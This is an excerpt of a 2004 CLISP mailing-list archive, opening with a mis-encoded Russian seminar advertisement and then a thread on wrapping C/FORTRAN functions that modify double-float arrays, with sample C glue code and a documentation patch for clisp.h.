ptd-24-198-147-10.maine.rr.com ([24.198.147.10]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BNevD-0004nH-DW for clisp-list@lists.sourceforge.net; Tue, 11 May 2004 14:36:19 -0700 From: jenn-gan To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] - Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 11 14:37:03 2004 X-Original-Date: Tue, 11 May 2004 21:38:50 +0000 Óâàæàåìûå ãîñïîäà! Ïðåäëàãàåì Âàì 18-19 ìàÿ ïîó÷àñòâîâàòü â äâóõäíåâíîì ìàñòåð-êëàññå ïî òåìå : "Õèòðîñòè ôîðìèðîâàíèÿ êîìàíäû" (Êîìàíäîîáðàçîâàíèå - ïðàâäà è ëîæü.) Íóæíà êîìàíäà? Îòëè÷íî! Ñ ÷åãî íà÷àòü? Êàê ñôîðìèðîâàòü åå òàêèì îáðàçîì, ÷òîáû äåéñòâèòåëüíî ïîëó÷èòü æåëàåìûé ýôôåêò? Êîãî áðàòü, à êîãî íå áðàòü â êîìàíäó? ×òî ëó÷øå îáúåäèíèòü ñòàðè÷êîâ èëè íàáðàòü íîâûõ? Íàñêîëüêî óñïåøíà êîìàíäà, ñîñòîÿùàÿ èç «çâåçäíûõ ëèäåðîâ»? Çà âðåìÿ îáó÷åíèÿ ó÷àñòíèêè äîëæíû îñâîèòü ìåòîäû óïðàâëåíèÿ êîìïàíèåé ñ ïîìîùüþ ñîçäàíèÿ óïðàâëåí÷åñêîé êîìàíäû è óìåòü ïðåâðàùàòü ñôîðìèðîâàííóþ êîìàíäó â ñïëî÷åííóþ ãðóïïó, áûñòðî ïðèíèìàþùóþ ýôôåêòèâíûå ðåøåíèÿ. Ïîñëå ïðîõîæäåíèÿ îáó÷åíèÿ ó÷àñòíèêè äîëæíû èìåòü ïðàêòè÷åñêèå íàâûêè â îáëàñòè äèàãíîñòèêè êîìàíäíîé ðàáîòû, ñîçäàíèÿ óñëîâèé è âíåäðåíèÿ òåõíîëîãèé êîìàíäîîáðàçîâàíèÿ. Ïîñòðîåíèå êîìàíäû â ðàìêàõ îðãàíèçàöèè. 1.Ïðèíöèïû ôîðìèðîâàíèÿ êîìàíäû ? Öåëè ôîðìèðîâàíèÿ êîìàíä. Îñîáåííîñòè ôóíêöèîíèðîâàíèÿ êîìàíä. ? Êà÷åñòâåííûå (ïñèõîëîãè÷åñêèå) õàðàêòåðèñòèêè ýôôåêòèâíîé êîìàíäû. ? Çàâèñèìîñòü òèïà êîìàíäû îò ñòðóêòóðû è æèçíåííîãî öèêëà îðãàíèçàöèè. ? Äèàãíîñòèêà íåîáõîäèìîñòè êîìàíäíûõ ìåòîäîâ ðàáîòû â ïðàêòèêå óïðàâëåíèÿ êîíêðåòíîé êîìïàíèè. (À ìîæåò áûòü ñ êîìàíäîé ïîêà ïîâðåìåíèòü?) ? Ôîðìèðîâàíèå êîìàíäû ïîä êîíêðåòíóþ çàäà÷ó. (Îñíîâíûå ïðàâèëà è òèïè÷íûå îøèáêè). 2.Âíóòðèêîìàíäíîå âçàèìîäåéñòâèå ? Îñîáåííîñòè âëàñòè è âëèÿíèÿ â ðàìêàõ êîìàíäû. ? Ðàñïðåäåëåíèå ðîëåé â êîìàíäå. ? Ìåõàíèçìû ôîðìèðîâàíèÿ ñèñòåìû ýôôåêòèâíîé êîììóíèêàöèè è âçàèìîäåéñòâèÿ â êîìàíäå. ? Îöåíêà ýôôåêòèâíîñòè êîìàíäíîé ðàáîòû è âçàèìîäåéñòâèÿ ó÷àñòíèêîâ. ? Ëèêâèäàöèÿ èëè ïåðåîðèåíòàöèÿ êîìàíäû: ïîäâîäíûå êàìíè, ìåòîäû è ïðàâèëà. 3.Ìåòîäû îòáîðà ÷ëåíîâ êîìàíäû ? Äèàãíîñòèêà èíäèâèäóàëüíîãî ñòèëÿ ðàáîòû â êîìàíäå ? Êðèòåðèè äèàãíîñòèêè ñîâìåñòèìîñòè ? Êðèòåðèè îòáîðà ÷ëåíîâ êîìàíäû ? Ìåòîäû îòáîðà ÷ëåíîâ êîìàíäû: ñòðóêòóðèðîâàííîå èíòåðâüþ, ìîäåëèðîâàíèå ïðîâîêàöèîííûõ ðàáî÷èõ ñèòóàöèé, òåñòèðîâàíèå. Àäàïòàöèÿ íîâûõ ñîòðóäíèêîâ ðàáîòå â ñëîæèâøåéñÿ êîìàíäå. Ñòîèìîñòü ó÷àñòèÿ 7500 ðóáëåé, â ò.÷. ÍÄÑ. Ôîðìà îïëàòû ëþáàÿ (íàëè÷íàÿ èëè áåçíàëè÷íàÿ). â ïàêåò óñëóã âõîäèò: ó÷àñòèå â ìåðîïðèÿòèè,èíôîðìàöèîííûå ïå÷àòíûå ìàòåðèàëû êîôå-ïàóçà, îáåä. Ìàñòåð-êëàññ ïðîõîäèò â Ìîñêâå (ì. Àêàäåìè÷åñêàÿ). Âðåìÿ ïðîâåäåíèÿ ñ 10 äî 17.30. Åñëè Âàøå ó÷àñòèå â ìåðîïðèÿòèè íåâîçìîæíî ìû ïðåäëàãàåì Âàì ïðèîáðåñòè âèäåîçàïèñü ìåðîïðèÿòèÿ. Ê âèäåîçàïèñè ïðèëàãàåòñÿ ðàçäàòî÷íûé ìàòåðèàë. ñòîèìîñòü ïðèîáðåòåíèÿ âèäåîêàññåòû 4500 ðóá. ñ ÍÄÑ (095) 747-71-88 From lisp-clisp-list@m.gmane.org Wed May 12 07:17:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNuYV-0007t1-Ne for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 07:17:55 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNuYV-0003gA-6Z for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 07:17:55 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BNuYL-0003zH-00 for ; Wed, 12 May 2004 16:17:53 +0200 Received: from webproxy.imec.be ([146.103.254.11]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 12 May 2004 16:17:45 +0200 Received: from michael.goffioul by webproxy.imec.be with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 12 May 2004 16:17:45 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Michael Goffioul Lines: 33 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A0330BEAB@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 146.103.254.11 (Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: AW: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 12 07:18:15 2004 X-Original-Date: Wed, 12 May 2004 14:17:43 +0000 (UTC) Sam Steingold gnu.org> writes: > > So you cannot have Matlist write the non-existant CLISP FP arrays > > yes you can. Just allocate (UNSIGNED-BYTE 32) arrays of double size > (for DOUBLE-FLOAT) or required size (for SINGLE-FLOAT) and pass the > data vectors to the FORTRAN functions. > I'm a little bit lost among all the answers that requires more and more knowledge of CLISP internals (which I don't have). I'll restate the problem as simple as possible: 1) there's a foreign function (whether C or FORTRAN) that takes a double array as argument AND modifies it: in C it could be "int func(double *a, in len)" for example. 2) in LISP, I'd like a kind of wrapper function (whether it's implemented in a module, with FFI or plain LISP) that would be called as "(func a)" where a is of type (simple-array double-float *). 3) the LISP wrapper should behave as the foreign function, namely it should modify its argument (destructive behavior) 4) the wrapper should be *generic*: the input array can have any length, there can be more than one input argument that could be modified by the foreign function. Once you've solved this, making MatLisp work with CLISP should be straightforward. Thanks anyway for all the answers. Bye. Michael. From sds@gnu.org Wed May 12 07:54:10 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNv7a-0007eS-7q for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 07:54:10 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNv7Z-0001ct-Tq for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 07:54:10 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4CErYQe015479; Wed, 12 May 2004 10:53:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Michael Goffioul Cc: Joerg-Cyril.Hoehle@t-systems.com, Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Michael Goffioul's message of "Wed, 12 May 2004 14:17:43 +0000 (UTC)") References: <5F9130612D07074EB0A0CE7E69FD7A0330BEAB@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Goffioul , Joerg-Cyril.Hoehle@t-systems.com , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 12 07:55:07 2004 X-Original-Date: Wed, 12 May 2004 10:53:34 -0400 > * Michael Goffioul [2004-05-12 14:17:43 +0000]: > > Sam Steingold gnu.org> writes: > >> yes you can. Just allocate (UNSIGNED-BYTE 32) arrays of double size >> (for DOUBLE-FLOAT) or required size (for SINGLE-FLOAT) and pass the >> data vectors to the FORTRAN functions. >> > > I'm a little bit lost among all the answers that requires more and > more knowledge of CLISP internals (which I don't have). start with little pieces... :-) > I'll restate the problem as simple as possible: > > 1) there's a foreign function (whether C or FORTRAN) that takes a > double array as argument AND modifies it: in C it could be "int > func(double *a, in len)" for example. > > 2) in LISP, I'd like a kind of wrapper function (whether it's > implemented in a module, with FFI or plain LISP) that would be called > as "(func a)" where a is of type (simple-array double-float *). > > 3) the LISP wrapper should behave as the foreign function, namely it > should modify its argument (destructive behavior) > > 4) the wrapper should be *generic*: the input array can have any > length, there can be more than one input argument that could be > modified by the foreign function. completely untested: DEFUN(fun,arr) { uintL pos, index, size = array_total_size(STACK_0 = check_array(STACK_0)); object data_vector = array_displace_check(STACK_0,size,&index); double *c_array = alloca(size*sizeof(double)); pushSTACK(data_vector); for (pos=0; posdata[pos+index]); begin_system_call(); func(c_array,size); end_system_call(); for (pos=0; posdata[pos+index] = c_double_to_DF(&c_array[pos]); VALUES1(STACK_1); /* return the argument */ skipSTACK(2); } -- Sam Steingold (http://www.podval.org/~sds) running w2k Please wait, MS Windows are preparing the blue screen of death. From goffioul@imec.be Wed May 12 08:06:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNvJi-0002Cr-Pk for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 08:06:42 -0700 Received: from mailgw1.imec.be ([146.103.254.19]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNvJi-0001yZ-8M for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 08:06:42 -0700 Received: from e2k01.imec.be (e2k01.imec.be [146.103.0.4]) by mailgw1.imec.be (8.12.11/8.12.11) with ESMTP id i4CF3ldU024227; Wed, 12 May 2004 17:03:47 +0200 Received: from e2k02.imec.be ([146.103.0.5]) by e2k01.imec.be with Microsoft SMTPSVC(5.0.2195.6713); Wed, 12 May 2004 17:03:46 +0200 X-MIMEOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-ID: <49056F0358EA754AB8420F7210B4CC07015E7883@e2k02.imec.be> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: FFI with complex numbers? Thread-Index: AcQ4MQTFTiKM285zQS6YHC2Z7umBCAAAMuCg From: "Goffioul Michael" To: Cc: , "Bruno Haible" X-OriginalArrivalTime: 12 May 2004 15:03:46.0842 (UTC) FILETIME=[53306FA0:01C43832] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 12 08:07:05 2004 X-Original-Date: Wed, 12 May 2004 17:03:46 +0200 > > I'm a little bit lost among all the answers that requires more and > > more knowledge of CLISP internals (which I don't have). >=20 > start with little pieces... :-) I'd like to, but I don't have much time (it's not a hobby, it's for my work) and the module interface is completely undocumented. > completely untested: >=20 > DEFUN(fun,arr) { > uintL pos, index, size =3D array_total_size(STACK_0 =3D=20 > check_array(STACK_0)); > object data_vector =3D array_displace_check(STACK_0,size,&index); > double *c_array =3D alloca(size*sizeof(double)); > pushSTACK(data_vector); > for (pos=3D0; pos c_array[pos] =3D to_double(TheSvector(STACK_0)->data[pos+index]); > begin_system_call(); > func(c_array,size); > end_system_call(); > for (pos=3D0; pos TheSvector(STACK_0)->data[pos+index] =3D=20 > c_double_to_DF(&c_array[pos]); > VALUES1(STACK_1); /* return the argument */ > skipSTACK(2); > } That's already something I can start with. Thanks. Just one question: is it possible to replace the "for" loops by "memcpy"-like calls, for efficiency (looking at your code, I guess the answer is "no", but you never know...)? Michael. From sds@gnu.org Wed May 12 08:34:14 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNvkM-0008E1-8g for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 08:34:14 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNvkL-0006ve-S9 for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 08:34:13 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4CFY1Qe026784; Wed, 12 May 2004 11:34:01 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Goffioul Michael" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <49056F0358EA754AB8420F7210B4CC07015E7883@e2k02.imec.be> (Goffioul Michael's message of "Wed, 12 May 2004 17:03:46 +0200") References: <49056F0358EA754AB8420F7210B4CC07015E7883@e2k02.imec.be> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Goffioul Michael" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 12 08:35:02 2004 X-Original-Date: Wed, 12 May 2004 11:34:01 -0400 > * Goffioul Michael [2004-05-12 17:03:46 +0200]: > >> > I'm a little bit lost among all the answers that requires more and >> > more knowledge of CLISP internals (which I don't have). >> >> start with little pieces... :-) > > I'd like to, but I don't have much time (it's not a hobby, it's for my > work) and the module interface is completely undocumented. Did you look here: ? If you did, I don't see how you can call it "undocumented". If you did not, you might want to say "I cannot find the documentation" instead of "undocumented" next time. -- Sam Steingold (http://www.podval.org/~sds) running w2k Hard work has a future payoff. Laziness pays off NOW. From goffioul@imec.be Wed May 12 09:08:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNwHC-0007GD-Ux for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 09:08:10 -0700 Received: from mailgw1.imec.be ([146.103.254.19]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNwHC-00053X-Ee for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 09:08:10 -0700 Received: from e2k01.imec.be (e2k01.imec.be [146.103.0.4]) by mailgw1.imec.be (8.12.11/8.12.11) with ESMTP id i4CG6A7E025549 for ; Wed, 12 May 2004 18:06:10 +0200 Received: from e2k02.imec.be ([146.103.0.5]) by e2k01.imec.be with Microsoft SMTPSVC(5.0.2195.6713); Wed, 12 May 2004 18:06:10 +0200 X-MIMEOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-ID: <49056F0358EA754AB8420F7210B4CC07015E7884@e2k02.imec.be> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: FFI with complex numbers? Thread-Index: AcQ4NtabT/R/OWLKRqCgvqf2GBzU1AAA4MFw From: "Goffioul Michael" To: X-OriginalArrivalTime: 12 May 2004 16:06:10.0131 (UTC) FILETIME=[0A5D0230:01C4383B] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 12 09:09:05 2004 X-Original-Date: Wed, 12 May 2004 18:06:10 +0200 > Did you look here: ? > If you did, I don't see how you can call it "undocumented". I did. > If you did not, you might want to say "I cannot find the=20 > documentation" > instead of "undocumented" next time. I meant a documentation about the interface as found in clisp.h, which is not documented in the implementation notes, or at least I couldn't find any doc that could have led me to the code example that was proposed a few hours ago. Michael. From sds@gnu.org Wed May 12 10:53:58 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNxva-0005uC-Cr for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 10:53:58 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNxva-0000vF-2V for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 10:53:58 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4CHrmQe005378; Wed, 12 May 2004 13:53:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Goffioul Michael" Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <49056F0358EA754AB8420F7210B4CC07015E7884@e2k02.imec.be> (Goffioul Michael's message of "Wed, 12 May 2004 18:06:10 +0200") References: <49056F0358EA754AB8420F7210B4CC07015E7884@e2k02.imec.be> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Goffioul Michael" , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.8 HTML_30_40 BODY: Message is 30% to 40% HTML 0.0 HTML_MESSAGE BODY: HTML included in message Subject: [clisp-list] Re: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 12 10:54:08 2004 X-Original-Date: Wed, 12 May 2004 13:53:47 -0400 > * Goffioul Michael [2004-05-12 18:06:10 +0200]: > > I meant a documentation about the interface as found in clisp.h, which > is not documented in the implementation notes, or at least I couldn't > find any doc that could have led me to the code example that was > proposed a few hours ago. I see - I misunderstood you. Indeed, there is no documentation about , you have to read the code. Maybe you could record your experiences putting together your module which could be later turned into documentation? Here is a start: --- impext.xml 11 May 2004 17:45:25 -0400 1.225 +++ impext.xml 12 May 2004 13:52:40 -0400 @@ -1945,7 +1945,7 @@ modules.d modules.c - clisp.h + clisp.h clisp-link expects to find these files in a subdirectory linkkit/ of the current directory. @@ -2197,6 +2197,33 @@ GC-safety.
+
clisp.h + +If your module is written in &c-lang;, you will probably want + to #include "clisp.h" to access &clisp; objects. + You will certainly need to read clisp.h and + included modules, but here are + some important hints that you will need to keep in mind: + + Lisp objects have type object. + + Variables of this type are invalidated by + memory allocation and must be saved + on the &STACK; using macros pushSTASH(), + popSTACK() and skipSTACK(). + + Access object slots using the + approprate TheFoo() macro, e.g., + TheCons(my_cons)->Car, but check the type + first with consp(). + Arguments are passed on the &STACK;, as illustrated + in the above example. + + + + +
+
Exporting If your module uses &ffi-pac; to interface to a &c-lang; library, you might want to make your module package -- Sam Steingold (http://www.podval.org/~sds) running w2k Microsoft: announce yesterday, code today, think tomorrow. From tfb@OCF.Berkeley.EDU Wed May 12 20:47:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BO7Be-0003NE-Oe for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 20:47:10 -0700 Received: from war.ocf.berkeley.edu ([192.58.221.244] ident=0) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BO7Be-0000pG-E2 for clisp-list@lists.sourceforge.net; Wed, 12 May 2004 20:47:10 -0700 Received: from famine.OCF.Berkeley.EDU (IDENT:1@famine.OCF.Berkeley.EDU [192.58.221.246]) by war.OCF.Berkeley.EDU (8.12.11/8.9.3) with ESMTP id i4D3l4MU011806 for ; Wed, 12 May 2004 20:47:06 -0700 (PDT) Received: (from tfb@localhost) by famine.OCF.Berkeley.EDU (8.11.7p1+Sun/8.10.2) id i4D3l4A01830; Wed, 12 May 2004 20:47:04 -0700 (PDT) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16546.61368.178743.35566@famine.OCF.Berkeley.EDU> To: CLISP Users List X-Mailer: VM 6.90 under Emacs 20.7.1 X-Milter: Spamilter (Reciever: war.OCF.Berkeley.EDU; Sender-ip: 192.58.221.246; Sender-helo: famine.ocf.berkeley.edu;) X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on millennium.OCF.Berkeley.EDU X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] slot-makunbound-using-class Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 13 05:58:09 2004 X-Original-Date: Wed, 12 May 2004 20:47:04 -0700 Grepping through the source, I found remnants of s-m-u-c, but it's commented out. Would there be interest among the CLISP maintainers in supporting it? I'm adding an extension to the Cells library (cells.common-lisp.net), which would work better if I could write a method on s-m-u-c. As far as I know, CLISP and MCL are the only major Common Lisps that don't support it. From Joerg-Cyril.Hoehle@t-systems.com Thu May 13 09:18:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BOIv4-0006eX-Cf for clisp-list@lists.sourceforge.net; Thu, 13 May 2004 09:18:50 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BOIv3-0007Pv-PA for clisp-list@lists.sourceforge.net; Thu, 13 May 2004 09:18:49 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 13 May 2004 18:18:41 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 13 May 2004 18:17:51 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0330C37F@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: goffioul@imec.be Subject: [clisp-list] Re: FFI with complex numbers? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 13 09:19:08 2004 X-Original-Date: Thu, 13 May 2004 18:17:51 +0200 Hi, Sam wrote: >Maybe you could record your experiences putting together your >module which could be later turned into documentation? >Here is a start: Suggestions: o mention begin/end_call() o briefly mention callbacks is a little more complicated o refer to the GC section of the doc, IIRC it talks about keeping OBJECTS on STACK. Michael wrote: >3) the LISP wrapper should behave as the foreign function, namely it should >modify its argument (destructive behavior) You CAN use the FFI, using the malloc' code you provided yourself. The FFI supports arrays of floats, simple or double. It's just not fast. But you MUST use CL:REPLACE afterwards, to overwrite the original Lisp array with possibly modified contents. There's no way around this. The Lisp wrapper you showed did not perform this final step. You CAN use Sam's code. It must be faster than using the FFI. But it also does not overwrite the results, you'll have a two line loop. I wouldn't count on memcpy() for giving you speed improvements in this application, unless you copy a few thousand objects. I hope the situation is clear from now on. >4) the wrapper should be *generic*: the input array can have any length, there >can be more than one input argument that could be modified by the foreign >function. I think you already know how to deal with any length. I'm not sure whether you want a function that can process a variable (unknown) number of parameters, some of which maybe arrays, which all would require :in-out semantics?? That could be done using the FFI as well, but then I'd use memoization on parse-c-type to keep one c-type per function signature. Sam's C code obviously only deals with one kind of signature: (double*,int size). Or is there a rather limited set of different signatures in Matlisp, like max. 2 arrays as :in-out parameters, e.g. (double*1,int size1, double*2,int size2) beside the other one? Are semantics always :in-out? I'd 